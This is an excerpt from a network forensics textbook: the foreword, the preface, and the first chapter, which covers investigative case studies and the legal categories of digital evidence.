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Foreword

My great-grandfather was a furniture maker. I am writing this on his table, sitting in his
chair. His world was one of craft, “the skilled practice of a practical occupation.” ! He made
furniture late in life that was in superficial respects the same as that which he made earlier,
but one can see his craft advance.

Cybersecurity’s hallmark is its rate of change, both swift incremental change and the
intermittent surprise. In the lingo of mathematics, the cybersecurity workfactor is the inte-
gral of a brisk flux of step functions punctuated by impulses. My ancestor refined his craft
without having to address a change in walnut or steel or linseed. The refinement of craft in
cybersecurity is not so easy.

Forensics might at first seem to be a simple effort to explain the past, and thus an
affectation. It is not, and the reason is complexity. Complexity is cumulative and, as the
authors say at the outset, enough has accumulated that it is impossible to know everything
about even a de minimus network. Forensics’ purpose, then, is to discover meaningful facts
in and about the network and the infrastructure that were not previously known. Only after
those facts are known is there any real opportunity to improve the future.

Forensics is a craft. Diligence can and does improve its practice. The process of forensic
discovery is dominated by ruling out potential explanations for the events under study. Like
sculpture, where the aim is to chip away all the stone that doesn’t look like an elephant,
forensics chips away all the ways in which what was observed didn’t happen. In the terms
popularized by EF Schumacher, forensics is a convergent problem where cybersecurity is
a divergent one; in other words, as more effort is put into forensics, the solution set tends
to converge to one answer, an outcome that does not obtain for the general cybersecurity
problem.

Perhaps we should say that forensics is not a security discipline but rather an insecurity
discipline. Security is about potential events, consistent with Peter Bernstein’s definition:
“Risk is simply that more things can happen than will.” Forensics does not have to induce
all the possibilities that accumulated complexity can concoct, but rather to deduce the
path by which some part of the observable world came to be as it is. Whereas, in general,
cybersecurity the offense has a permanent structural advantage, in forensics it is the defense
that has superiority.

That forensics is a craft and that forensics holds an innate strategic advantage are factual
generalities. For you, the current or potential practitioner, the challenge is to hone your craft
to where that strategic advantage is yours—not just theoretically but in operational reality.
For that you need this book.

It is the duty of teachers to be surpassed by their students, but it is also the duty of the
student to surpass their teacher. The teachers you have before you are very good; surpassing

1. “WordNet Search—3.1,” Princeton University, 2011. http://wordnetweb.princeton.edu/perl/webwn.
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them will be nontrivial. In the end, a surpassing craft requires knowing what parts of your
then current toolbox are eternal and which are subject to the obsolescence that comes with
progress. It is likewise expeditious to know what it is that you don’t know. For that, this
book’s breadth is directly useful.

Because every forensics investigation is, in principle, different, the tools that will be
needed for one study may well be a different set from those needed for another study. The
best mechanics have all the specialized tools they can need, but may use a few tools far
more than others. A collection of tools is only so good as your knowledge of it as a collection
of tools, not necessarily that you’'ve used each tool within the last week. Nicholas Taleb
described the library of Umberto Eco as an anti-library that “...should contain as much of
what you do not know as your financial means, mortgage rates, and the real-estate market
allows you to put there.”

You, dear reader, hold just such an anti-library of forensics in your hand. Be grateful,
and study hard.

Daniel E. Geer, Jr., Sc.D.



Preface

Every day, more bits of data flow across the Internet than there are grains of sand on all
the beaches in the world. According to the Cisco Visual Networking Index, the total global
IP traffic for 2011 was forecast to be approximately 8.4 * 10'® bits per day. Meanwhile,
mathematicians at the University of Hawaii have estimated the number of grains of sand
on all the beaches in the world to be approximately 7.5 * 10'® grains. According to Cisco,
global IP traffic is expected to increase at an annual growth rate of 32% per year, so by
the time you read this, the number of bits of data flowing across the Internet every day
may have far exceeded the estimated number of grains of sand on all the beaches in the
world.2 34

Of course, these estimates are very rough, because in both cases the systems involved
are far larger and more complex than humanity has the tools to quantify. The Internet has
long since passed the point where we can fully analyze and comprehend its workings. We
can understand bits and pieces of it and we can make broad generalizations; but the fact
is that we humans have already created a monster far more powerful and complex than we
can ever fully understand.

In this environment a new, endless field of study has emerged: network forensics. Forensics,
in general, is “the application of scientific knowledge to legal problems, especially scientific
analysis of physical evidence, as from a crime scene.” Network forensics therefore refers to the
scientific study of network-based evidence, commonly applied to legal questions. Of course,
network forensics is a field of study independent of any specific legal case, and many of the
scientific advances, tools, and techniques developed for the purposes of legal investigation
can also be used for social study, historical analysis, and scientific exploration of network
environments. In this book, we have endeavored to provide a technical foundation that will
be practically useful not just for professional network forensic analysts conducting legal
investigations, but also for students, independent researchers, and all those who are curious.

0.1 The Changing Landscape

The Internet is constantly changing. As new features are developed in hardware and software,
new protocols are implemented to reflect those changes and old protocols are adapted and
revised to suit the latest technology. In the past decade, we have seen the emergence of

2. Cisco estimates the total global IP traffic for 2011 at 28,023 petabytes per month. Dividing this by 30
days in one month, we get approximately 8.4 * 10'8 bits each day.

3. “Networking Solutions,” Cisco, http://www.cisco.com/en/US /solutions/collateral/ns341/ns525/ns537/
ns705/ns827 /white_paper_c11-481360-ns827_Networking_Solutions-White_Paper.html.

4. Howard McAllister, “Grains of Sand on the World’s Beaches,” 21st Century Problem Solving,
http://www.hawaii.edu/suremath/jsand.html.
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XX Preface

protocols for distributed peer-to-peer video chat systems, protocols for conducting surgery
on people from thousands of miles away, and protocols for driving robots halfway around
the world.

Network forensics can seem daunting to investigators who are familiar with traditional
filesystem forensics. There are a relatively small number of filesystem formats in widespread
use, compared with hundreds of network protocols. On Windows systems, it is common to
find FAT32 or NTFS filesystems. On UNIX/Linux systems, it is common to find ext2, 3,
4, ZFS, or HFS Plus filesystems. In contrast, on any given network you may find Ethernet,
802.11b/g/n, ARP, DHCP, IPv4, IPv6, TCP, UDP, ICMP, TLS/SSL, SMTP, IMAP, DNS,
HTTP, SMB, FTP, RTP, and many other protocols.

On the Internet, there is no guarantee that any protocol you encounter will match
the documented specifications, or that there are any published specifications in the first
place. Furthermore, implementations of protocols change frequently. Manufacturers are not
required to adhere to any standards, and so they implement the protocol as suits them best
for any particular revision of software or hardware.

Sometimes protocols are developed before their time, and the applications that are built
on top of them have not matured to the point where they can support all the features of the
protocol. In the interim, the protocol or specific fields within it may go unused, or may be
repurposed by vendors, standards committees, or hackers for other uses. Sometimes protocols
are replaced because the environment has changed so much that the old protocols no longer
work as intended. A perfect example of this is IPv4, which worked well in its original,
relatively small environment. IPv4 is designed with 32-bit fields to store the source and
destination addresses, which accomodates 232, or approximately 4.3 billion unique addresses.
However, large segments of this address space were allocated to different organizations in
the early years of the Internet, when there were relatively few users. Now that over a
billion people have connected to the Internet, the 32-bit address space is too limited to
accommodate the demand. As a result, IPv6 was developed with a far larger 128-bit address
space (2'28) or 3.4 x 103® unique addresses). With it have emerged even more protocols,
such as Teredo (which is designed to tunnel IPv6 traffic over IPv4-only networks).

Forensics tools also go through changes and revisions as the protocols change. A tool made
in 2010 may not correctly interpret a packet capture from 2002, or vice versa. Sometimes the
errors can be very subtle, perhaps even undetectable. It is very important for investigators
to understand how forensic tools work, and be capable of going down to the lowest layers to
verify findings. Network forensics professionals must be highly skilled, highly motivated, and
have a great deal of expertise because you can’t always rely on tools that other people have
written in order to correctly interpret results and perhaps even testify in court.

Compounding these issues is the overwhelming variety of network devices, including
routers, switches, application servers, and more. Each system on any given network may
have unique configuration, interface, and capabilities. It is not possible for investigators
to be familiar with all network devices—or even a significant percentage—including
current and past makes and models. Instead, network investigators must be prepared to
research and learn about equipment on the fly, while at the same time managing an inves-
tigation and projecting an air of confidence. It’s a fine balancing act.

Tracking down devices to examine them in the first place can be difficult or even im-
possible. Anonymity has been a hallmark of the Internet since its early days. While it may
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be possible to track an IP address down to a remote ISP, it is often impossible to wrangle
any further identifying details out of a third party—particularly if they are located in a
foreign country with lax information security laws. Even when the device is located inside
your own organization, tracking it down depends on the quality of network documentation
and logs, which are often not granular enough to suit investigative needs. With the rise of
mobile networks, tracking down devices often feels like a game of hide-and-seek, where the
mobile user (perhaps even unknowingly) has the upper hand.

The point is that the Internet functions as an ecosystem. It is not controlled by central
forces or “designed” in the way one designs a car. When you examine network traffic,
there is no telling what you may encounter or whether your tools will properly parse the
specific versions of the protocols in your packet capture. When you gather evidence from
network devices or reconfigure them, you may have to research the specific make and model
to properly understand the interfaces and the sources of evidence. When you track down
systems, you may have to wander all over creation chasing a mobile device, or call dozens
of ISP contacts and law enforcement officials in multiple countries to pinpoint the source.

There is no specification to which manufacturers are universally bound to adhere, no set
of rules that users around the globe must follow, and no manual that can tell you precisely
how to conduct your investigation.

0.2 Organization

This book is designed to provide you with a broad overview of the most important topics in
network forensics. It is divided into four parts: “Foundation,” “Traffic Analysis,” “Network
Devices and Servers,” and “Advanced Topics.”

0.2.1 Part |, “Foundation”

Part I, “Foundation,” covers the basic concepts of evidence handling, networking, and ev-
idence acquisition. This provides a foundation for more advanced topics, which we cover
later in the book. In addition to the topics in these chapters, we strongly recommend
that all readers have a good understanding of TCP /IP networking. TCP/IP Illustrated by
W. Richard Stevens is a fantastic book that we highly recommend as a reference.

Part I includes the following chapters:

e Chapter 1, “Practical Investigative Strategies,” presents a myriad of challenges faced
by network forensic investigators, introduces important concepts in digital evidence,
and lays out a methodology for approaching network-based investigations.

e Chapter 2, “Technical Fundamentals,” provides a technical overview of common net-
working components and their value for the forensic investigator, and presents the
concept of protocols and the OSI model in the context of network forensic investiga-
tions.

e Chapter 3, “Evidence Acquisition,” dives into passive and active evidence acquisi-
tion, including hardware and software used for sniffing traffic, as well as strategies for
actively collecting evidence from network devices.
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0.2.2 Part Il, “Traffic Analysis”

Part II, “Traffic Analysis,” discusses the many ways that investigators can analyze network
traffic. We begin with packet analysis, from examination of protocol headers to payload
extraction and reconstruction. Since flow record data retention is becoming commonplace,
we subsequently devote a full chapter to statistical flow record analysis. This is followed
by an in-depth look at wireless networks and the 802.11 protocol suite. Finally, we discuss
network intrusion detection and prevention systems, which are designed to analyze traffic
in real time, produce alerts, and in some cases capture packets on the fly.
Part II includes the following chapters:

e Chapter 4, “Packet Analysis,” is a comprehensive study of protocols, packets, and
flows, and methods for dissecting them.

e Chapter 5, “Statistical Flow Analysis,” presents the increasingly important field of
statistical flow record collection, aggregation, and analysis.

e Chapter 6, “Wireless: Network Forensics Unplugged,” discusses evidence collection
and analysis of wireless networks, specifically focusing on the IEEE 802.11 protocol
suite.

e Chapter 7, “Network Intrusion Detection and Analysis,” is a review of network in-
trusion prevention and detection systems, which are specifically designed to produce
security alerts and supporting evidence.

0.2.3 Part lll, “Network Devices and Servers”

)

Part III, “Network Devices and Servers,” covers evidence acquisition and analysis from all
kinds of network devices. We begin by discussing event log collection and examination,
including challenges and benefits relating to different types of logging architectures. Next,
we specifically talk about forensic investigation of switches, routers, and firewalls, which
make up the backbone of our networks. Since web proxies have exploded in popularity, and
often contain enormously valuable evidence, we close with a detailed discussion of web proxy
evidence collection and analysis.
Part III includes the following chapters:

e Chapter 8, “Event Log Aggregation, Correlation, and Analysis,” discusses collection
and analysis of logs from various sources, including operating systems of servers and
workstations (such as Windows, Linux, and UNIX), applications, network equipment,
and physical devices.

e Chapter 9, “Switches, Routers, and Firewalls,” studies the evidence that can be gath-
ered from different types of network equipment and strategies for collecting it, depend-
ing on available interfaces and level of volatility.

e Chapter 10, “Web Proxies,” reviews the explosion of web proxies and how investigators
can leverage these devices to collect web surfing histories and even cached copies of
web objects.
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0.2.4 Part IV, “Advanced Topics”

Part IV, “Advanced Topics,” includes a discussion of two of the most fascinating topics in
network forensics: network tunneling and malware. We review legitimate and covert network
tunnels and discuss investigative strategies for dealing with different types of tunnels. To
close, we review a history of malware and the corresponding impact on forensic analysis,
including the evolution of command-and-control channels, botnets, IDS/IPS evasion, and
the advanced persistent threat (APT).

Part IV includes the following chapters:

e Chapter 11, “Network Tunneling,” discusses both legitimate and covert network tun-
nels, methods for recognizing tunnels, and strategies for recovering evidence from
tunneled traffic.

)

e Chapter 12, “Malware Forensics,” is a condensed history of malware development, in-
cluding the evolution of command-and-control channels, botnets, IDS/IPS evasion, and
the advanced persistent threat. Along the way, we discuss how malware has changed—
and been changed by—forensic investigations.

0.3 Tools

This book is designed to be accessible to a wide audience, and to teach you the fundamental
principles and techniques of network forensics. There are many commercial, point-and-click
tools that you can also use to reach the same answers, and we briefly touch on a few of
those in this book. However, our focus is on tools that are freely available and that can be
used to illustrate fundamental techniques. In this way, we hope to give you the ability to
understand how forensic tools work at a low level, verify results gleaned from automated
tools, and make educated decisions when selecting tools for your investigations.

0.4 Case Studies

Each of the chapters in Parts II, III, and IV includes a detailed case study designed to
showcase the tools and techniques discussed in the chapter. You can download the evidence
files and practice dissecting them on your own forensic workstation.

The case study evidence files are located here:

http://lmgsecurity.com/nf/

They are freely available for your personal use.


http://lmgsecurity.com/nf/
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0.5 Errata

In any technical book of this size and density, there are bound to be a few errors. We will
maintain a list of errata at:

http://lmgsecurity.com/nf/errata

If you find an error, we would like to know about it. Please email us at errata@lmgsecurity.com.
Check the web site before emailing to make sure the error is not already listed.

0.6 Final Notes

This book is a labor of love. Each chapter required countless hours of research, discussion,
debate, and writing. To create the case studies and corresponding packet captures, we first
built a laboratory with the equivalent of a small business-sized network, configured and
reconfigured it for each exercise, wrote each scenario, and then ran the scenarios over and
over again until we got them all exactly right.

It’s impossible to count all the late nights and early mornings, flipped circuit breakers
and dead hard drives, warm beers and cold pizzas that went into this book. Even though
this book is hundreds of pages, we feel that we have only scratched the surface of the very
deep field of network forensics. We learned an enormous amount from all the effort, and we
hope you do, too.
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Chapter 1

Practical Investigative Strategies

“A wvictorious army first wins and then seeks battle; a defeated army first battles and then
seeks victory.” —Sun Tsu, The Art of War!

Evidence scattered around the world. Not enough time. Not enough staff. Unrealistic
expectations. Internal political conflicts. Gross underestimation of costs. Mishandling of
evidence. Too many cooks in the kitchen. Network forensic investigations can be tricky. In
addition to all the challenges faced by traditional investigators, network forensics investiga-
tors often need to work with unfamiliar people in different countries, learn to interact with
obscure pieces of equipment, and capture evidence that exists only for fleeting moments.
Laws surrounding evidence collection and admissibility are often vague, poorly understood,
or nonexistent. Frequently, investigative teams find themselves in situations where it is not
clear who is in charge, or what the team can accomplish.

An organized approach is key to a successful investigation. While this book is primar-
ily designed to explore technical topics, in this chapter, we touch on the fundamentals of
investigative management. This is particularly important because network forensics inves-
tigations often involve coordination between multiple groups and evidence that may be
scattered around the globe.

We begin by presenting three cases from different industries in order to give you some
examples of how network forensics is used to support investigations in the real world. Next,
we explore the fundamentals of evidence collection and distinctions that are made between
different types of evidence in many courts. We discuss the challenges specific to network-
based evidence, such as locating evidence on a network and questions of admissibility.
Finally, we present the OSCAR investigative methodology, which is designed to give you an
easy-to-remember framework for approaching digital investigations.

1.1 Real-World Cases

How is network forensics used in real life? In this section, we present three cases:
e Hospital Laptop Goes Missing
e Catching a Corporate Pirate

e Hacked Government Server

1. Sun Tsu (Author), Lionel Giles (Translator), The Art of War, El Paso Norte Press, 2005. 3
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These cases have been chosen to provide examples of common IT security incidents and
illustrate how network forensics is frequently used. Although these cases are based on real-
life experiences, they have been modified to protect the privacy of the organizations and
individuals involved.

1.1.1 Hospital Laptop Goes Missing

A doctor reports that her laptop has been stolen from her office in a busy U.S. metropolitan
hospital. The computer is password-protected, but the hard drive is not encrypted. Upon
initial questioning, the doctor says that the laptop may contain copies of some patient lab
results, additional protected health information (PHI) downloaded from email attachments,
schedules that include patient names, birth dates, and IDs, notes regarding patient visits,
and diagnoses.

1.1.1.1 Potential Ramifications

Since the hospital is regulated by the United States’ Health Information Technology for Eco-
nomic and Clinical Health (HITECH) Act and Health Insurance Portability and Account-
ability Act (HIPAA), it would be required to notify individuals whose PHI was breached.?
If the breach is large enough, it would also be required to notify the media. This could cause
significant damage to the hospital’s reputation, and also cause substantial financial loss,
particularly if the hospital were held liable for any damages caused due to the breach.

1.1.1.2 Questions

Important questions for the investigative team include:

1. Precisely when did the laptop go missing?

2. Can we track down the laptop and recover it?
3. Which patient data was on the laptop?

4. How many individuals’ data was affected?

5

. Did the thief leverage the doctor’s credentials to gain any further
access to the hospital network?

1.1.1.3 Technical Approach

Investigators began by working to determine the time when the laptop was stolen, or at least
when the doctor last used it. This helped establish an outer bound on what data could have
been stored on it. Establishing the time that the laptop was last in the doctor’s possession
also gave the investigative team a starting point for searching physical surveillance footage
and access logs. The team also reviewed network access logs to determine whether the
laptop was subsequently used to connect to the hospital network after the theft and, if so,
the location that it connected from.

2. “HITECH Breach Notification Interim Final Rule,” U.S. Department of Health and Human Services,
http://www.hhs.gov/ocr/privacy /hipaa/understanding/coveredentities /breachnotificationifr.html.
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There are several ways investigators could try to determine what time the laptop went
missing. First, they could interview the doctor to establish the time that she last used it,
and the time that she discovered it was missing. Investigators might also find evidence in
wireless access point logs, Dynamic Host Control Protocol (DHCP) lease assignment logs,
Active Directory events, web proxy logs (if there is an enterprise web proxy), and of course
any sort of laptop tracking software (such as Lojack for Laptops) that might have been in
use on the device.

Enterprise wireless access point (WAP) logs can be especially helpful for determining
the physical location in the facility where a mobile device was most recently connected,
and the last time it was connected. In order to ensure uniform availability of wireless net-
works, enterprises typically deploy a fleet of WAPs that all participate in the same network.
Although they appear to the end user as a single wireless network, network operators can
view which mobile devices were connected to specific access points throughout the building.
Some enterprises even have commercial software that can graphically represent the move-
ment of wirelessly connected devices as they traverse the physical facility. If the laptop was
still connected to the hospital’s wireless network as the thief exited the building, investiga-
tors might be able to use wireless access point logs to show the path that the thief navigated
as he or she exited the building. This might also be correlated with video surveillance logs
or door access control logs.

Once investigators established an approximate time of theft, they could narrow down
the patient information that might have been stored on the system. Email logs could reveal
when the doctor last checked her email, which would place an outer bound on the emails that
could have been replicated to her laptop. These logs might also reveal which attachments
were downloaded. More importantly, the hospital’s email server would have copies of all of
the doctor’s emails, which would help investigators gather a list of patients likely to have
been affected by the breach. Similarly, hospital applications that provide access to lab results
and other PHI might contain access logs, which could help investigators compile a list of
possible data breach victims.

There might be authentication logs from Active Directory domain controllers, VPN con-
centrators, and other sources that indicate the laptop was used to access hospital resources
even after the theft. If so, this might help investigators track down the thief. Evidence of
such activities could also indicate that additional information was compromised, and that
the attacker’s interests went beyond merely gaining a new laptop.

1.1.1.4 Results

Leveraging wireless access point logs, the investigative team was able to pinpoint the time of
the theft and track the laptop through the facility out to a visitor parking garage. Parking
garage cameras provided a low-fidelity image of the attacker, a tall man wearing scrubs, and
investigators also correlated this with gate video of the car itself as it left the lot with two
occupants. The video was handed to the police, who were able to track the license plate.
The laptop was eventually recovered amongst a stack of stolen laptops.

The investigative team carefully reviewed VPN logs and operating system logs stored
on the central logging server and found no evidence that the doctor’s laptop was used to
attempt any further access to hospital IT resources. Hard drive analysis of the recovered
laptop showed no indication that the system had been turned on after the theft. After
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extensive consultation with legal counsel, hospital management concluded that patient data
had ultimately not been leaked.

In response to the incident, the hospital implemented full-disk encryption for all laptop
hard drives, and deployed physical laptop locking mechanisms.

1.1.2 Catching a Corporate Pirate

GlobalCorp, Inc., has a centrally managed intrusion detection system, which receives alerts
from sites around the world. Central security staff notice an alert for peer-to-peer (P2P) file-
sharing, and on closer inspection see filename references to movies that are still in theaters.
Fearing legal ramifications of inaction, they investigate.

1.1.2.1 Potential Ramifications

Management at GlobalCorp, Inc., were highly concerned that an employee was using the
company network for trafficking in pirated intellectual property. If this activity were
detected, the owner of the intellectual property might sue the company. This case occurred
in 2003, at the height of Digital Millennium Copyright Act (DMCA) fervor, and it was
assumed that if an individual within the company was illicitly trading pirated music or
movies, then it could place the company at risk of costly legal battles.

1.1.2.2 Questions

Important questions for the investigative team include:

1. Where is the source of the P2P traffic physically located?
2. Which user is initiating the P2P traffic?

3. Precisely what data is being shared?

1.1.2.3 Technical Approach

Using the IP address from the IDS alerts, investigators identified the physical site that was
the source of the traffic. In order to specifically identify the client system, its location, and
primary user, investigators worked with local network management staff.

Meanwhile, intrusion analysts in the central office began capturing all of the P2P-related
packets involving the IP address in question. The local facility confirmed that this IP address
was part of a local DHCP pool on the wired local area network (LAN). Intrusion analysts
reviewed DHCP lease assignment logs for relevant time periods, and recovered the media
access control (MAC) address associated with the suspicious activity. From the MAC address
investigators identified the manufacturer of the network card (Dell, in this case).

In order to trace the IP address to a specific office, local networking staff logged into
switches and gathered information mapping the IP address to a physical port. The physical
port was wired to a cubicle occupied by an email system administrator. Investigators entered
his office after hours one evening and recovered his desktop for forensic analysis.

Upon examination, however, it was clear that the confiscated desktop was not the source
of the P2P activity. The MAC address of the network card in the confiscated system (a
Hewlett-Packard desktop) was not consistent with the MAC address linked to the suspicious
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activity. Subsequent analysis of the company’s email server produced evidence that the
suspect, an email system administrator, had leveraged privileged access to read emails of
key networking staff involved in the investigation.

Local networking staff took caution to communicate out-of-band while coordinating the
remainder of the investigation. Investigators conducted a thorough search of the premises
for a system with the MAC address implicated. The matching desktop was eventually found
in the desktop staging area, buried in a pile of systems queued for reimaging.

1.1.2.4 Results

Network forensic analysts examined full packet captures grabbed by the IDS, and were
ultimately able to carve out video files and reconstruct playable copyrighted movies that
were still in theaters. Hard drive analysis of the correct desktop produced corroborating
evidence that the movies in the packet capture had been resident on the hard drive. The hard
drive also contained usernames and email addresses linking the hard drive and associated
network traffic with the suspect.

Case closed!

1.1.3 Hacked Government Server

During a routine antivirus scan, a government system administrator was alerted to suspicious
files on a server. The files appeared to be part of a well-known rootkit. The server did not
host any confidential data other than password hashes, but there were several other systems
on the local subnet that contained Social Security numbers and financial information of
thousands of state residents who had filed for unemployment assistance. The administrative
account usernames and passwords were the same for all servers on the local subnet.
1.1.3.1 Potential Ramifications

State laws required the government to notify any individuals whose Social Security numbers
were breached. If the servers containing this sensitive information were hacked, the state
might be required to spend large amounts of money to send out notifications, set up hotlines
for affected individuals, and engage in any resulting lawsuits. In addition, disclosure of a
breach might damage the careers of high-ranking elected state officials.

1.1.3.2 Questions
Important questions for the investigative team include:
e Was the server in question truly compromised?
e If so, how was the system exploited?
e Were any other systems on the local network compromised?

e Was any confidential information exported?

1.1.3.3 Technical Approach

The server in question appeared to contain files with names that fit the pattern for a well-
known rootkit. Investigators began by examining these files and concluded that they were,
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indeed, malicious software. The rootkit files were found in the home directory of an old local
administrator account that staff had forgotten even existed.

Investigators found that the local authentication logs had been deleted. Fortunately, all
servers on the subnet were configured to send logs to a central logging server, so instead
investigators reviewed Secure Shell (SSH) logs from the central logging server that were
associated with the account. From the SSH logs, it was clear that the account had been the
target of a brute-force password-guessing attack. Investigators used visualization tools to
identify the times that there were major spikes in the volume of authentication attempts.
A subsequent password audit revealed that the account’s password was very weak.

The SSH logs showed that the source of the brute-force attack was a system located
in Brazil. This was surprising to IT staff because according to network documentation the
perimeter firewall was supposed to be configured to block external access to the SSH port
of servers on the subnet under investigation. Investigators gathered copies of the current,
active firewall configuration and found that it did not match the documented policy—in
practice, the SSH port was directly accessible from the Internet. Subsequently, investigators
analyzed firewall logs and found entries that corroborated the findings from the SSH logs.

When one system in the environment is compromised, there is a significant probability
that the attacker may use credentials from that system to access other systems. IT staff
were concerned that the attacker might have used the stolen account credentials to access
other systems on the local subnet.

Fortunately, further analysis of the server hard drive indicated that the attacker’s access
was short-lived; the antivirus scan had alerted on the suspicious files shortly after they were
created. Investigators conducted a detailed analysis of authentication logs for all systems
on the local subnet, and found no other instances of suspicious access to the other servers.
Furthermore, there were no records of logins using the hacked account on any other servers.
Extensive analysis of the firewall logs showed no suspicious data exportation from any servers
on the local subnet.

1.1.3.4 Results

Investigators concluded that the server under investigation was compromised but that no
other systems on the local subnet had been exploited and no personal confidential informa-
tion had been breached. To protect against future incidents, the state I'T staff corrected the
errors in the firewall configuration and implemented a policy in which firewall rules were
audited at least twice per year. In addition, staff removed the old administrator account
and established a policy of auditing all server accounts (including privileges and password
strength) on a quarterly basis.

1.2 Footprints

When conducting network forensics, investigators often work with live systems that cannot
be taken offline. These may include routers, switches, and other types of network devices, as
well as critical servers. In hard drive forensics, investigators are taught to minimize system
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modification when conducting forensics. It is much easier to minimize system modification
when working with an offline copy of a write-protected drive than with production network
equipment and servers.

In network forensics, investigators also work to minimize system modification due to
forensic activity. However, in these cases investigators often do not have the luxury of an
offline copy. Moreover, network-based evidence is often highly volatile and must be collected
through active means that inherently modify the system hosting the evidence. Even when
investigators are able to sniff traffic using port monitoring or tapping a cable, there is always
some impact on the environment, however small. This impact can sometimes be minimized
through careful selection of acquisition techniques, but it can never be eliminated entirely.

Every interaction that an investigator has with a live system modifies it in some way,
just as an investigator in real life modifies a crime scene simply by walking on the floor. We
use the term “footprint” throughout this book to refer to the impact that an investigator
has on the systems under examination.

You will always leave a footprint. Often, the size of the footprint required must be
weighed against the need for expediency in data collection. Take the time to record your
activities carefully so that you can demonstrate later that important evidence was not
modified. Always be conscious of your footprint and tread lightly.

1.3 Concepts in Digital Evidence

What is evidence? The Compact Ozford English Dictionary defines “evidence” as:?

evidence (noun)

1. information or signs indicating whether a belief or proposition is true or
valid.

2. information used to establish facts in a legal investigation or admissible as
testimony in a law court.

In this book, we are concerned with both of the above definitions. Our goal in many
investigations is to compile a body of evidence suitable for presentation in court proceedings
(even if we hope never to end up in court!). Both relevance to the case and admissibility are
important, but the first goal is to ascertain the facts of the matter and understand truly
and correctly what has transpired.

Consequently, we define “evidence” in the broadest sense as any observable and record-
able event, or artifact of an event, that can be used to establish a true understanding of the
cause and nature of an observed occurrence.

Of course, it’s one thing to be able to reconstruct and understand the events that com-
prise an occurrence, and yet another to be able to demonstrate that in such a way that

3. “Oxford Dictionaries Online—English Dictionary and Language Reference,” Ouxford Dictionaries,
http://www.askoxford.com/concise_oed /evidence?view=uk.
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victims can be justly compensated and perpetrators justly punished within our legal frame-
work. Within this system there are a few categories of evidence that have very specific
meanings:

e Real
e Best

Direct

Circumstantial

e Hearsay

e Business Records

We'll take each of these in turn and discuss their nature and relative usefulness and
importance. Due to the rising popularity of electronic communications systems, we also
include the following general categories of evidence:

e Digital
e Network-Based Digital

In this book, our discussion of evidence is based on the United States common law system
and the U.S. Federal Rules of Evidence (FRE).* Many of these concepts may be similar in
your jurisdiction, although we also recommend that you familiarize yourself with the rules
specific to your region of the world.

1.3.1 Real Evidence

What is “real” evidence? “Real evidence” is roughly defined as any physical, tangible object
that played a relevant role in an event that is being adjudicated. It is the knife that was
pulled from the victim’s body. It is the gun that fired the bullet. It is the physical copy
of the contract that was signed by both parties. In our realm it is also the physical hard
drive from which data is recovered, and all the rest of the physical computer components
involved.

Real evidence usually comprises the physicality of the event, and as such is often the
most easily presented and understood element of a crime. Human beings understand tangible
objects much more readily than abstract concepts, such as data comprised of ones and zeros
(which are themselves comprised of the presence or absence of magnetization on microscopic
bits of a spinning platter). Unless the hard drive was used as a blunt object in an assault,
and as a consequence is covered in identifiable traces of blood and hair follicles (DNA is real
evidence t00), the judge or jury may have a difficult time envisioning the process through
which the evidence reached its current state and was preserved.

4. Committee on the Judiciary House (US) and US House Committee on the Judiciary, Federal Rules
of Ewvidence (December 2011) (Committee on the Judiciary, 2011), http://judiciary.house.gov/hearings/
printers/112th/evidence2011.pdf.
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Examples of “real evidence” can include:

e The murder weapon

e The fingerprint or footprint

The signed paper contract

The physical hard drive or USB device

e The computer itself—chassis, keyboard, and all

1.3.2 Best Evidence

“Best evidence” is roughly defined as the best evidence that can be produced in court. The
FRE states, “To prove the content of a writing, recording, or photograph, the original writ-
ing, recording, or photograph is required, except as otherwise provided in these rules or by
Act of Congress” [emphasis added].® If the original evidence is not available, then alternate
evidence of its contents may be admitted under the “best evidence rule.” For example, if
an original signed contract was destroyed but a duplicate exists, then the duplicate may be
admissible. However, if the original exists and could be admitted, then the duplicate would
not suffice.

Our favorite illustration of the “best evidence rule” comes from Dr. Eric Cole, as pre-
sented in his SANS courses: Imagine that a helicopter and a tractor trailer collide on a
bridge. Real evidence in this case would be the wreckage, but there is no hope of bringing
the real evidence into depositions, much less in front of a jury. In such a case the pho-
tographs of the scene comprise the best records that can be brought to court. They will
have to suffice, and most often do.

Forensic analysts, lawyers, and jurors have questioned what constitutes “original” evi-
dence in the case of digital evidence. Fortunately, the FRE explicitly addresses this issue,
as follows:®

An “original” of a writing or recording means the writing or recording itself or
any counterpart intended to have the same effect by the person who executed or
issued it. For electronically stored information, “original” means any printout—
or other output readable by sight—if it accurately reflects the information. An
“original” of a photograph includes the negative or a print from it. (e) A “dupli-
cate” means a counterpart produced by a mechanical, photographic, chemical,
electronic, or other equivalent process or technique that accurately reproduces
the original.

In other words, a printout from a computer hard drive that accurately reflects the data
would normally be considered “original” evidence.

With network forensics, the bits and bytes being presented have been recorded and may
be treated in the same way as a photograph of an event. It is as though we’ve photographed

5. Committee on the Judiciary House (US) and US House Committee on the Judiciary, Federal Rules of
FEvidence, 25.

6. Ibid.
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the bullet as it traveled through the air. The difference is that network forensic investigators
can often reconstruct a forensically identical copy of the entire bullet from the snapshot,
rather than just presenting a grainy photograph from which legal teams hope to divine
trajectories, masses, and the sending barrel’s rifling.

Examples of “best evidence” include:

A photo of the crime scene

A copy of the signed contract

e A file recovered from the hard drive

A bit-for-bit snapshot of a network transaction

1.3.3 Direct Evidence

“Direct evidence” is the testimony offered by a direct witness of the act or acts in question.
There are lots of ways that events can be observed, captured, and recorded in the real world,
and our court systems try to accommodate most of these when there is relevant evidence
in question. Of course, the oldest method is the reportable observation of a fellow human
being. This human testimony is classified as “direct evidence,” and it remains some of the
most utilized forms of evidence, even if it is often disputed and unreliable.

Direct evidence is usually admissible, so long as it’s relevant. What other people wit-
nessed can have a great impact on a case.

Examples of “direct evidence” can include:

e “I saw him stab that guy.”
e “She showed me an inappropriate video.”

e “I watched him crack passwords using John the Ripper and a password file he shouldn’t
have.”

o “I saw him with that USB device.”

1.3.4 Circumstantial Evidence

In contrast to “direct evidence,” “circumstantial evidence” is evidence that does not directly

support a specific conclusion. Rather, circumstantial evidence may be linked together with
other evidence and used to deduce a conclusion.

Circumstantial evidence is important for cases involving network forensics because it is
“the primary mechanism used to link electronic evidence and its creator.” ” Often, circum-
stantial evidence is used to establish the author of emails, chat logs, or other digital evidence.
In turn, authorship verification is necessary to establish authenticity, which is required for
evidence to be admissible in court. The DoJ elaborates:®

7. Scott M. Giordano, “Electronic Evidence and the Law,” Information Systems Frontiers 6, no. 2 (June 1,
2004): 165.

8. H. Marshall Jarrett, Director, EOUSA, “Searching and Seizing Computers and Obtaining Electronic
